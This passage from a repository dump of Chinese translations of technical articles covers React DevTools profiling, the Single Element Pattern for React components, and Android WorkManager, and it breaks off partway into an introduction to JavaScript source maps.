记录。\n\n你也可以在特定的 commit 记录的右边列看到在该记录期间所被追踪的交互动作。\n\n[![List of interactions for a commit](https://reactjs.org/static/interactions-for-commit-9847e78f930cb7cf2b0f9682853a5dbc-acf85.png)](https://reactjs.org/static/interactions-for-commit-9847e78f930cb7cf2b0f9682853a5dbc-53c76.png) \n\n你可以通过点击它们来实现在交互动作和 commits 之间的跳转：\n\n![Navigate between interactions and commits](https://reactjs.org/navigate-between-interactions-and-commits-7c66e7686b5242473c87b3d0b4576cf3.gif)\n\ntracking API 仍然是很新的特性，我们会在接下来的博客文章中详细介绍它。\n\n## 常见问题 & 解决方法\n\n### 选择的根元素下没有 profile 数据被记录\n\n如果你的 APP 有好几个 “root”（译者注：指 React 有好几个 root 组件），你可能会在 profile 之后看到下面的信息：\n\n[![No profiling data has been recorded for the selected root](https://reactjs.org/static/no-profiler-data-multi-root-0755492a211f5bbb775285c0ff2fdfda-acf85.png)](https://reactjs.org/static/no-profiler-data-multi-root-0755492a211f5bbb775285c0ff2fdfda-53c76.png) \n\n这个信息表示你在 “Elements” 界面下所选择的 root 之下没有性能数据被记录。这种情况下，请尝试选择一个不同的根元素来查看在这个 root 下的 profile 数据：\n\n![Select a root in the \"Elements\" panel to view its performance data](https://reactjs.org/select-a-root-to-view-profiling-data-bdc30593d414b5c8d2ae92027ed11940.gif)\n\n### 选中的 commit 记录没有时间数据可以展示\n\n有时候 commit 速度可能非常地快，以至于 `performance.now()` 没法提供给 DevTools 任何有意义的数据。这种情况下，会展示下面的界面：\n\n[![No timing data to display for the selected commit](https://reactjs.org/static/no-timing-data-for-commit-63b2fb6298feecb179272c467020ed95-acf85.png)](https://reactjs.org/static/no-timing-data-for-commit-63b2fb6298feecb179272c467020ed95-53c76.png)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专列](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-the-single-element-pattern.md",
    "content": "> * 原文地址：[Introducing the Single Element Pattern: Rules and best practices for creating reliable building blocks with React and other component-based libraries.](https://medium.freecodecamp.org/introducing-the-single-element-pattern-dfbd2c295c5d)\n> * 原文作者：[Diego Haz](https://medium.freecodecamp.org/@diegohaz)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-the-single-element-pattern.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-the-single-element-pattern.md)\n> * 译者：[jonjia](https://github.com/jonjia)\n> * 校对者：[Hopsken](https://hopsken.com/)\n\n# 单元素组件模式简介\n\n## 使用 React 或其它基于组件的库创建可靠构建模块的规则和最佳实践。\n\n![](https://cdn-images-1.medium.com/max/1000/1*safLOvm16NWX1Z4mPBHNCQ.png)\n\n在 2002 年 — 当我开始构建网页的时候 — 包括我在内的大多数开发者都使用 `<table>` 标签来构建网页布局。\n\n直到 2005 年，我才开始遵循[网页标准](https://en.wikipedia.org/wiki/Web_standards)。\n\n> 如果有网站或网页宣称遵循网页标准，通常就表示他们的网页符合 HTML、CSS、JavaScript 等标准。HTML 的部分也要满足无障碍性以及 HTML 语义的要求。\n\n我了解了语义化和无障碍性，然后开始使用正确的 HTML 标签和外部 CSS。我很自豪地将 [W3C 认证徽章](https://www.w3.org/QA/Tools/Icons)添加到我制作的每个网站。\n\n![](https://cdn-images-1.medium.com/max/800/1*pFL99e3lxpYN-Fp24HfdBw.jpeg)\n\n我们编写的 HTML 代码和输出到浏览器中的真实代码非常相似。这意味着使用 [W3C 验证器](https://validator.w3.org/) 和其它工具来验证输出代码的规范性也可以告诉我们如何写出更好的代码。\n\n时光流逝。为了分离前端中可重用部分，我使用过 PHP、模版系统、jQuery、Polymer、Angular 和 React。尤其是后几个，最近三年我一直在使用它们。\n\n随着时间的推移，我们编写的代码和用户实际使用的代码越来越不同了。现在，我们使用不同方式（例如 Babel 和 TypeScript）来编译代码。我们使用 [ES2015+](https://devhints.io/es6) 和 [JSX](https://reactjs.org/docs/introducing-jsx.html) 规范编写，但最终的输出代码就只是 HTML 和 JavaScript。\n\n如今，虽然我们还会使用 W3C 的工具来验证我们的网站，但对于编写代码没有太大帮助。我们仍在追求代码稳定和可维护的最佳实践。而且，如果你正在读这篇文章，我想你也有同样的诉求。\n\n我为你准备了一些东西。\n\n### 单元素组件模式（[Singel 源码](https://github.com/diegohaz/singel)）\n\n我已经不知道写过多少个组件了。但如果把 Polymer、Angular 和 React 的项目都加起来，我敢说这个数字肯定超过一千了。\n\n除公司项目外，我还维护了一个包含 40 多个示例组件的 [React 模版库](https://github.com/diegohaz/arc)。另外，我正在和 [Raphael Thomazella](https://github.com/Thomazella) 维护一套[交互式 UI 组件库](https://github.com/diegohaz/reas)，他为这个项目贡献了很多。\n\n许多开发者都有一个误解：如果以一个完美的文件结构来开始一个项目，那么他们就不会遇到任何问题。事实上，文件结构的一致性没那么重要。如果你的组件没有遵循明确定义的规则，这最终会使你的项目很难维护。\n\n在创建和维护了那么多组件之后，我发现了一些使它们更加一致和可靠的特性，这样用起来会更加愉快。一个组件越像一个 HTML 元素，它就会变得越**可靠**。\n\n> 没有什么比一个 `<div>` 标签更可靠了。\n\n使用组件时，你可以问问自己下面的问题：\n\n*   问题 #1：如果我需要将 props 传递给嵌套元素会怎么样？\n*   问题 #2：由于某种原因，这个组件会使应用中断吗？\n*   问题 #3：如果我想传递 `id` 或其它 HTML 属性会怎么样？\n*   问题 #4：我可以通过传递 `className` 或 `style` 属性来自定义组件样式吗？\n*   问题 #5：事件是如何处理的呢？\n\n**可靠性**意味着，在这种情况下，不需要打开文件查看源码来了解它的工作原理。如果你在使用一个 `<div>`，你马上就会知道答案，如下：\n\n*   [规则 #1：每次只渲染一个元素](#规则-1每次只渲染一个元素)\n*   [规则 #2：从不中断应用](#规则-2从不中断应用)\n*   [规则 #3：应用所有作为属性传递的 HTML 属性](#规则-3应用所有作为属性传递的-html-属性)\n*   [规则 #4：应用作为属性传递的样式规则](#规则-4应用作为属性传递的样式规则)\n*   [规则 #5：应用所有作为属性传递的事件处理方法](#规则-5应用所有作为属性传递的事件处理方法)\n\n我把这一组规则称为 [Singel](https://github.com/diegohaz/singel)。\n\n### 重构驱动开发\n\n> 先让它工作，然后再去优化。\n\n当然，不可能让所有组件都遵循 [Singel](https://github.com/diegohaz/singel) 全部规则。在某情况下 — 实际上很多情况下 — 你不得不至少打破第一条规则。\n\n应该遵循这些规则的组件是应用中最重要的部分：原子、原始、构建块、元素或任何称为基础的组件。这篇文章中，我将统称它们为**单个元素**。\n\n其中一些很容易抽象出来，比如：`Button`、`Image` 和 `Input`。也可以说是那些和 HTML 元素有直接关系的组件。在其它情况下，只有在重复代码时才会识别出它们。那也没关系。\n\n通常，无论何时你需要更改某个组件时，不管是添加新功能，还是修复问题，你可能会看到 — 或者开始编写重复的样式和行为。这就是需要将它抽象为一个新的单元素信号。\n\n单元素组件与其它组件的比值越高，应用就会越稳定、越方便维护。\n\n将它们放到单独的文件夹中 — 比如：`elements`, `atoms`, `primitives`，因此，无论何时你需要导入这些组件时，你都会确信它们遵循了规则。\n\n### 一个实例\n\n在本文中，我重点放在 React 上。同样的规则也适用于其它任何基于组件的库。\n\n这就是说，我们有一个 `Card` 组件。它由 `Card.js` 和 `Card.css` 组成，在 `Card.css` 文件中我们为 `.card`、`.top-bar`、`.avatar` 和其它类选择器配置了样式规则。\n\n![](https://cdn-images-1.medium.com/max/800/1*Sm0TM1LOvrWi0WBVjVRIsA.png)\n\n```\nconst Card = ({ profile, imageUrl, imageAlt, title, description }) => (\n  <div className=\"card\">\n    <div className=\"top-bar\">\n      <img className=\"avatar\" src={profile.photoUrl} alt={profile.photoAlt} />\n      <div className=\"username\">{profile.username}</div>\n    </div>\n    <img className=\"image\" src={imageUrl} alt={imageAlt} />\n    <div className=\"content\">\n      <h2 className=\"title\">{title}</h2>\n      <p className=\"description\">{description}</p>\n    </div>\n  </div>\n);\n```\n\n在某些时候，应用中的其它位置也有可能使用头像。为了不重复 HTML 和 CSS 代码，我们要创建一个新的 `Avatar` 单元素组件，然后就能复用它了。\n\n#### 规则 #1：每次只渲染一个元素\n\n它由 `Avatar.js` 和 `Avatar.css` 组成，后者配置了我们从 `Card.css` 中取出用于 `.avatar` 的样式，最终返回一个 `<img>` 元素：\n\n```\nconst Avatar = ({ profile, ...props }) => (\n  <img\n    className=\"avatar\" \n    src={profile.photoSrc} \n    alt={profile.photoAlt} \n    {...props} \n  />\n);\n```\n\n下面是我们如何在 `Card` 和应用中其它位置使用它：\n\n```\n<Avatar profile={profile} />\n```\n\n#### 规则 #2：从不中断应用\n\n一个 `<img>` 元素，虽然 `src` 属性是必须的，如果你不传递它，也不会中断应用。但是，对于我们的应用，如果不传递 `profile`，那么这个组件就会中断应用。\n\n![](https://cdn-images-1.medium.com/max/800/1*aAB2QAEHkWxMBo-UFaCsUA.png)\n\nReact 16 版本中提供了一个名为 `componentDidCatch` 的[新的生命周期方法](https://reactjs.org/blog/2017/07/26/error-handling-in-react-16.html)，可以用来优雅地处理组件内部错误。虽然在应用中实现边界错误处理是一种很好的做法，但这也会掩盖单元素组件中的错误。\n\n我们必须确保 `Avatar` 组件本身是可靠的，并考虑到所需要的属性父组件可能不会传递的情况。在这种情况下，除了在使用 `profile` 之前检查它是否存在之外，还要使用 `Flow`、`TypeScript` 或 `PropTypes` 对这种情况给出警告，如下：\n\n```\nconst Avatar = ({ profile, ...props }) => (\n  <img \n    className=\"avatar\" \n    src={profile && profile.photoUrl} \n    alt={profile && profile.photoAlt} \n    {...props}\n  />\n);\n\nAvatar.propTypes = {\n  profile: PropTypes.shape({\n    photoUrl: PropTypes.string.isRequired,\n    photoAlt: PropTypes.string.isRequired\n  }).isRequired\n};\n```\n\n现在我们不传递任何属性来使用 `<Avatar />` 组件，来看看控制台会给出什么警告：\n\n![](https://cdn-images-1.medium.com/max/800/1*5Cjn18Fr2n_O1wHMGff4wQ.png)\n\n通常，我们会忽略这些警告并在控制台中累积几个。因为当新警告出现时，我们永远不会在意，所以 `PropTypes` 无法发挥作用。因此，在这些警告累积之前，请务必解决。\n\n#### 规则 #3：应用所有作为属性传递的 HTML 属性\n\n目前为止，我们的单元素组件使用了名为 `profile` 的自定义属性。我们应该避免使用自定义属性，特别是当它们直接映射为 HTML 属性时。查看下面的[建议 #1: 避免使用自定义属性](#建议-1-避免使用自定义属性)了解更多。\n\n通过将所有属性传递给底层元素，就可以在单元素组件中轻松实现应用所有 HTML 属性。我们可以通过传递相应的 HTML 属性来解决自定义属性问题：\n\n```\nconst Avatar = props => <img className=\"avatar\" {...props} />;\n\nAvatar.propTypes = {\n  src: PropTypes.string.isRequired,\n  alt: PropTypes.string.isRequired\n};\n```\n\n现在 `Avatar` 使用起来更像一个 HTML 元素了：\n\n```\n<Avatar src={profile.photoUrl} alt={profile.photoAlt} />\n```\n\n如果底层 HTML 元素接受 `children` 属性，这条规则也同样适用。\n\n#### 规则 #4：应用作为属性传递的样式规则\n\n在应用中的某个地方，你可能希望单元素组件有一个稍微不同的样式。你应该可以通过 `className` 或 `style` 属性来自定义它。\n\n单元素组件内部样式等同于浏览器应用到原生 HTML 元素的样式。也就是说，当我们的 `Avatar` 组件收到一个 `className` 属性时，不应该用来替换内部值 — 而是追加进去。\n\n```\nconst Avatar = ({ className, ...props }) => (\n  <img className={`avatar ${className}`} {...props} />\n);\n\nAvatar.propTypes = {\n  src: PropTypes.string.isRequired,\n  alt: PropTypes.string.isRequired,\n  className: PropTypes.string\n};\n```\n\n如果我们将 `style` 属性应用于 `Avatar` 组件，可以使用[对象扩展](https://github.com/tc39/proposal-object-rest-spread/blob/master/Spread.md) 轻松完成应用：\n\n```\nconst Avatar = ({ className, style, ...props }) => (\n  <img \n    className={`avatar ${className}`}\n    style={{ borderRadius: \"50%\", ...style }}\n    {...props} \n  />\n);\n\nAvatar.propTypes = {\n  src: PropTypes.string.isRequired,\n  alt: PropTypes.string.isRequired,\n  className: PropTypes.string,\n  style: PropTypes.object\n};\n```\n\n现在我们就可以像下面这样将新样式应用到单元素组件：\n\n```\n<Avatar\n  className=\"my-avatar\"\n  style={{ borderWidth: 1 }}\n/>\n```\n\n如果你发现自己需要复制新样式，请毫不犹豫地创建另一个组成 `Avatar` 的单元素组件。创建一个包含另一个单元素组件没问题 — 通常也是必须的。\n\n#### 规则 #5：应用所有作为属性传递的事件处理方法\n\n由于我们将所有属性向下传递，单元素组件已经准备好接收任何事件处理属性。但是，如果组件内部已经应用了这个事件的处理，我们该怎么办？\n\n这种情况下，我们有两个选择：使用传递的处理方法替换掉内部处理方法，或者两个都调用。这取决于你。只要确保**始终**应用来自属性传递的事件处理方法。\n\n```\nconst callAll = (...fns) => (...args) => fns.forEach(fn => fn && fn(...args));\n\nconst internalOnLoad = () => console.log(\"loaded\");\n\nconst Avatar = ({ className, style, onLoad, ...props }) => (\n  <img \n    className={`avatar ${className}`}\n    style={{ borderRadius: \"50%\", ...style }}\n    onLoad={callAll(internalOnLoad, onLoad)}\n    {...props} \n  />\n);\n\nAvatar.propTypes = {\n  src: PropTypes.string.isRequired,\n  alt: PropTypes.string.isRequired,\n  className: PropTypes.string,\n  style: PropTypes.object,\n  onLoad: PropTypes.func\n};\n```\n\n### 建议\n\n#### 建议 #1: 避免使用自定义属性\n\n在创建单元素组件 — 特别是在应用中开发新功能时 — 很容易去添加自定义属性来满足不同的使用。\n\n使用 `Avatar` 组件举个例子，设计师建议有些地方头像是方形的，而其它地方应该是圆形。你也许认为给组件添加一个 `rounded` 属性是一个好主意。\n\n除非你正在创建一个文档良好的开源库，否则，**千万不要那样**。除了文档需要，那样还会导致不可扩展和代码的不可维护。总是创建一个新的单元素组件 — 比如 `AvatarRounded` — 它会渲染 `Avatar` 并做一些修改，而不是去添加自定义属性。\n\n如果你坚持使用独特的描述性命名、创建可靠的组件，你将会创建成百上千个组件。它们依然是高度可维护的。组件名就可以作为文档。\n\n#### 建议 #2：接收作为属性传递的 HTML 元素\n\n并不是每个自定义属性都是不好的。有时你想要改变单元素组件中包裹的 HTML 元素。通过添加一个自定义属性来达到这个目的可能是唯一方法。\n\n```\nconst Button = ({ as: T, ...props }) => <T {...props} />;\n\nButton.propTypes = {\n  as: PropTypes.oneOfType([PropTypes.string, PropTypes.func])\n};\n\nButton.defaultProps = {\n  as: \"button\"\n};\n```\n\n一个常见的例子是将 `Button` 组件渲染为 `<a>` 元素，如下：\n\n```\n<Button as=\"a\" href=\"https://google.com\">\n  Go To Google\n</Button>\n```\n\n或者作为另一个元素的使用：\n\n```\n<Button as={Link} to=\"/posts\">\n  Posts\n</Button>\n```\n\n如果你对这个功能感兴趣，我建议你看一下 [Reas](https://github.com/diegohaz/reas) 项目，这是一个使用 Singel 理念构建的 React UI 工具包。\n\n### 使用 Singel CLI 来验证你的单元素组件\n\n最后，在阅读完所有内容之后，你可能想知道是否有工具可以根据此模式自动验证元素。我开发了这样一个工具，叫做 [Singel CLI](https://github.com/diegohaz/singel)。\n\n如果你想在正在进行的项目中使用它，我建议你创建一个新的文件夹并把你的单元素组件放在里面。\n\n如果你正在使用 React，你可以通过 **npm** 安装 `singel` 并运行它，如下：\n\n```\n$ npm install --global singel\n$ singel components/*.js\n```\n\n输出结果类似于下面这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*fE7wp8PS2EG7043OYcQhkg.png)\n\n另一种方法是在项目中作为开发依赖安装，并在 `package.json` 文件中添加脚本：\n\n```\n$ npm install --dev singel\n\n{  \n  \"scripts\": {  \n    \"singel\": \"singel components/*.js\"  \n  }  \n}\n```\n\n然后，运行 **npm** 脚本吧：\n\n```\n$ npm run singel\n```\n\n### 感谢阅读！\n\n如果你喜欢这篇文章并发现它很有用，你可以通过以下方式来表达你的支持：\n\n*   点击 ❤️ 按钮喜欢这篇文章\n*   Star ⭐️ 我的 GitHub 项目：[https://github.com/diegohaz/singel](https://github.com/diegohaz/singel)\n*   在 GitHub 上关注我：[https://github.com/diegohaz](https://github.com/diegohaz)\n*   在 Twitter 上关注我：[https://twitter.com/diegohaz](https://twitter.com/diegohaz)\n\n感谢 [Raphael Thomazella](https://medium.com/@thomazella?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-workmanager.md",
    "content": "> * 原文地址：[Introducing WorkManager](https://medium.com/androiddevelopers/introducing-workmanager-2083bcfc4712)\n> * 原文作者：[Pietro Maggi](https://medium.com/@pmaggi)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-workmanager.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-workmanager.md)\n> * 译者：[Rickon](https://juejin.im/user/5bffbdaf6fb9a049d81b914c)\n> * 校对者：[DevMcryYu](https://github.com/DevMcryYu)\n\n# WorkManager 简介\n\n![](https://cdn-images-1.medium.com/max/800/1*-Feqy3ufsr7NRCFSDuQfWw.png)\n\n插图来自 [Virginia Poltrack](https://twitter.com/VPoltrack)\n\nAndroid 系统处理后台工作有很多注意事项和最佳实践，详见 [Google’s Power blog post series](https://android-developers.googleblog.com/search/label/Power%20series)。其中一个反复出现的调用是一个名为 [WorkManager](https://developer.android.com/topic/libraries/architecture/workmanager/) 的 [Android Jetpack](https://developer.android.com/jetpack/) 库，它扩展了 [JobScheduler](https://developer.android.com/reference/android/app/job/JobScheduler) 框架 API 的功能，并支持 Android 4.0+（API 14+）。[WorkManager 测试版](https://developer.android.com/jetpack/docs/release-notes#december_19_2018)今天刚刚发布！\n\n这篇文章是 WorkManager 系列中的第一篇。我们将探讨 WorkManager 的基础知识，如何以及何时使用它，以及幕后发生了什么。然后我们将深入研究更复杂的用例。\n\n### WorkManager 是什么？\n\nWorkManager 是 [Android 架构组件](https://developer.android.com/topic/libraries/architecture/)之一，也是 Android Jetpack 的一部分，是一个关于如何构建现代 Android 应用程序的新见解。\n\n> WorkManager 是一个 Android 库，在满足工作的**约束条件**时运行**可延迟**的后台工作。\n>\n> WorkManager 适用于需要**保障**的任务，即使应用程序退出，系统也会运行它们。\n\n换句话说，WorkManager 提供了一个电池友好的 API，它封装了 Android 后台行为限制多年来的演变。这对于需要执行后台任务的 Android 应用程序至关重要！\n\n### 什么时候使用 WorkManager\n\n无论应用程序进程是否存在，WorkManager 都会处理在满足各种约束条件时需要运行的后台工作。后台工作可以在应用程序位于后台、前台或者应用在前台打开即将转到后台的时候启动。无论应用程序在做什么，后台工作都应该继续进行，或者在 Android 终止其进程时重启其后台工作。\n\n关于 WorkManager 的一个常见误解是它需要在“后台”线程中运行，但不需要在进程死亡时存活。事实并非如此。这种用例还有其他解决方案，如 Kotlin 的协程，ThreadPools 或 RxJava 等库。你可以在[后台处理指南](https://developer.android.com/guide/background/)中找到有关此用例的更多信息。\n\n有许多不同的情况下，你需要运行后台工作，因此需要使用不同的解决方案来运行后台工作。这篇[关于后台运行的博客文章](https://android-developers.googleblog.com/2018/10/modern-background-execution-in-android.html)提供了很多关于何时使用 Workmanager 的有用信息。请看博客中的此图表：\n\n![](https://cdn-images-1.medium.com/max/800/1*K-jWMXQbAK98EdkuuaZCFg.png)\n\n图解来自 [Android 中的现代后台运行](https://android-developers.googleblog.com/2018/10/modern-background-execution-in-android.html)\n\n对于 WorkManager，最适合处理的是必须**完成**并且可以**延迟**的后台工作。\n\n首先，问问你自己：\n\n*   **这个任务需要完成吗？** 如果应用程序被用户关闭了，是否仍需要完成任务？一个例子是带有远程同步的笔记应用程序;每次你写完一个笔记，你就会期望该应用程序将你的笔记与后端服务器同步。即使您切换到另一个应用程序并且操作系统需要关闭应用程序以回收一些内存。即使重新启动设备也会发生这种情况。WorkManager 能够确保任务完成。\n\n*   **这个任务可以延迟吗？** 我们可以稍后运行任务，还是只在**现在**运行才可以用？如果任务可以稍后运行，那么它是可延迟的。回到前面的例子，立即同步你的笔记会很好，但是如果不能立即同步而是稍后进行的话也没什么大问题。WorkManager 尊重操作系统后台限制，并尝试以电池高效的方式运行你的工作。\n\n因此，作为指导原则，WorkManager 适用于需要确保系统将运行它们的任务，即使应用程序退出也是如此。它不适用于需要立即执行或需要在确切时间执行的后台工作。如果你需要在准确的时间执行工作（例如闹钟或事件提醒），请使用 [AlarmManager](https://developer.android.com/training/scheduling/alarms)。对于需要立即执行但长时间运行的工作，你通常需要确保在前台执行工作;是否通过限制执行到前台（在这种情况下工作不再是真正的后台工作）或使用[前台服务](https://android-developers.googleblog.com/2018/12/effective-foreground-services-on-android_11.html)。\n\n当你需要在更复杂的场景中触发一些后台工作时，WorkManager 可以并且应该与其他 API 配对使用：\n\n*   如果你的服务器触发了工作，WorkManager 可以与 Firebase Cloud Messaging 配对使用。\n*   如果你正在使用广播接收器监听广播，然后需要触发长时间运行的工作，那么你可以使用 WorkManager。请注意，WorkManager 支持许多通常作为广播传播的常见 [Constraints](https://developer.android.com/reference/androidx/work/Constraints) — 在这些情况下，你不需要注册自己的广播接收器。\n\n### 为什么要用 WorkManager？\n\nWorkManager 运行后台工作，同时能够为你处理电池和系统健康的兼容性问题和最佳实践。\n\n此外，你可以使用 WorkManager 安排定时任务和复杂的从属任务链：后台工作可以并行或顺序执行，你可以在其中指定执行顺序。WorkManager 无缝地处理任务之间的输入和输出传递。\n\n你还可以设置后台任务运行时间的标准。例如，如果设备没有网络连接，则没有理由向远程服务器发出 HTTP 请求。因此，您可以设置约束条件，该任务只能在网络连接时运行。\n\n作为保证执行的一部分，WorkManager 负责在设备或应用程序重启时保持工作。你也可以轻松地定义重试策略如果你的工作已停止并且您想稍后重试。\n\n最后，WorkManager 允许你观察工作请求的状态，以便你可以更新 UI。\n\n总而言之，WorkManager 提供了以下好处：\n\n*   处理不同系统版本的兼容性\n*   遵循系统健康最佳实践\n*   支持异步一次性和周期性任务\n*   支持带输入/输出的链式任务\n*   允许你设置在任务运行时的约束\n*   即使应用程序或设备重启，也可以保证任务执行\n\n让我们看一个具体的例子，我们构建一个将过滤器应用于图像的并发任务管道。然后将结果发送到压缩任务，然后发送到上传任务。\n\n我们可以为这些任务定义一组约束，并指定何时可以执行它们：\n\n![](https://cdn-images-1.medium.com/max/800/1*2arjXq_bwgaNwVBCiLgiOw.png)\n\n带有约束的任务链示例\n\n所有这些 workers 都定义了一个精确的序列：我们不知道过滤图像的顺序，但我们知道只有在所有过滤器工作完成后，Compress 工作才会启动。\n\n### WorkManager 调度程序的工作原理\n\n为了确保兼容性达到 API 14 级别，WorkManager 根据设备 API 级别选择适当的方式来安排后台任务。WorkManager 可能使用 JobScheduler 或 BroadcastReceiver 和 AlarmManager 的组合。\n\n![](https://cdn-images-1.medium.com/max/800/1*FxHlzZfv4Q0XBRBV2WmvPQ.png)\n\nWorkManager 如何确定要使用的调度程序\n\n### WorkManager 准备好用于生产了吗？\n\nWorkManager 现在处于测试阶段。这意味着在此主要修订版中不会有重大的 API 变更。\n\n当 WorkManager 稳定版本发布时，它将是运行后台任务的首选方式。 因此，这是开始使用 WorkManager 并帮助[改进它](https://issuetracker.google.com/issues?q=componentid:409906)的好时机！\n\n**感谢 [Lyla Fujiwara](https://medium.com/@lylalyla)。**\n\n### WorkManager 相关资源\n\n*   [官方文档](https://developer.android.com/topic/libraries/architecture/workmanager/)\n*   [Reference guide](https://developer.android.com/reference/androidx/work/package-summary)\n*   [WorkManager 1.0.0-beta01 Release notes](https://developer.android.com/jetpack/docs/release-notes#december_19_2018)\n*   [Codelab](https://codelabs.developers.google.com/codelabs/android-workmanager-kt/index.html)\n*   [源代码 (part of AOSP)](https://android.googlesource.com/platform/frameworks/support/+/master/work)\n*   [IssueTracker](https://issuetracker.google.com/issues?q=componentid:409906)\n*   [StackOverflow 网站上的 WorkManager 相关问题](https://stackoverflow.com/questions/tagged/android-workmanager)\n*   [Google’s Power blog post series](https://android-developers.googleblog.com/search/label/Power%20series)\n\n感谢 [Florina Munt](https://medium.com/@florina.muntenescu?source=post_page)、[Ben Weiss](https://medium.com/@keyboardsurfer?source=post_page) 和 [Lyla Fujiwara](https://medium.com/@lylalyla?source=post_page).\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introduction-source-maps.md",
    "content": "> * 原文地址：[An Introduction to Source Maps](https://blog.teamtreehouse.com/introduction-source-maps)\n> * 原文作者：[Matt West](https://blog.teamtreehouse.com/author/mattwest)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-source-maps.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introduction-source-maps.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[calpa](https://github.com/calpa), [Raoul1996](https://github.com/Raoul1996)\n\n# 源代码映射（Source Map）简介\n\n![](https://3wga6448744j404mpt11pbx4-wpengine.netdna-ssl.com/wp-content/uploads/2013/10/programming1.png)\n\n合并与压缩 JavaScript 和 CSS 的代码，是能为你的网站提升性能的最简单的举措之一。但是如果想要调试这些压缩过的文件，又会怎么样呢？那简直是噩梦了。但是别怕，眼前就有一个解决办法，它就是源代码映射。\n\n源代码映射提供了一个映射，将压缩后的文件和原始文件联系起来。这就意味着 —— 借助一点软件的帮助 —— 就算是资源被压缩过，你也能很轻松的调试应用。Chrome 和 Firefox 开发者工具都内建支持源代码映射。\n\n在这篇博客文章中，你将会学习到源代码映射是如何工作的，并且了解它们是怎么生成的。我们将主要关注 JavaScript 代码的源代码映射，但这些原则也适用于 CSS 源代码映射。\n\n* * *\n\n**注**：在 Firefox 的开发者工具里，源代码映射是默认开启的。而 Chrome 则需要手动的开启支持（自 Chrome 39 开始 Source Maps 也已经默认处于启用状态，译者注）。开启的方法是，启动 Chrome 的开发工具然后打开 **Settings** 面板（右下角的小齿轮）。在 **General** 标签中确保 **Enable JS source maps** 和 **Enable CSS source maps** 都被勾选了。\n\n* * *\n\n## 源代码映射是如何工作的\n\n顾名思义，源代码映射包含了将压缩后文件代码映射回源代码的所有信息。你可以为每个压缩文件指定不同的源映射。\n\n通过向被优化文件的底部添加一个特殊注释，你可向浏览器指示源代码映射可用。\n\n```\n//# sourceMappingURL=/path/to/script.js.map\n```\n\n此注释通常由生成源代码映射的程序添加。只有在启用了对源代码映射的支持并打开开发工具时，开发者工具才会加载此文件。\n\n通过响应对压缩的 JavaScript 文件请求的时带 `X-SourceMap` HTTP 首部的方式，你同样可以声明源代码映射可用。\n\n```\nX-SourceMap: /path/to/script.js.map\n```\n\n源代码映射文件包含一个 JSON 对象，里面有映射本身和源 JavaScript 文件的信息。这是一个简单的例子：\n\n```\n{\n    version: 3,\n    file: \"script.js.map\",\n    sources: [\n        \"app.js\",\n        \"content.js\",\n        \"widget.js\"\n    ],\n    sourceRoot: \"/\",\n    names: 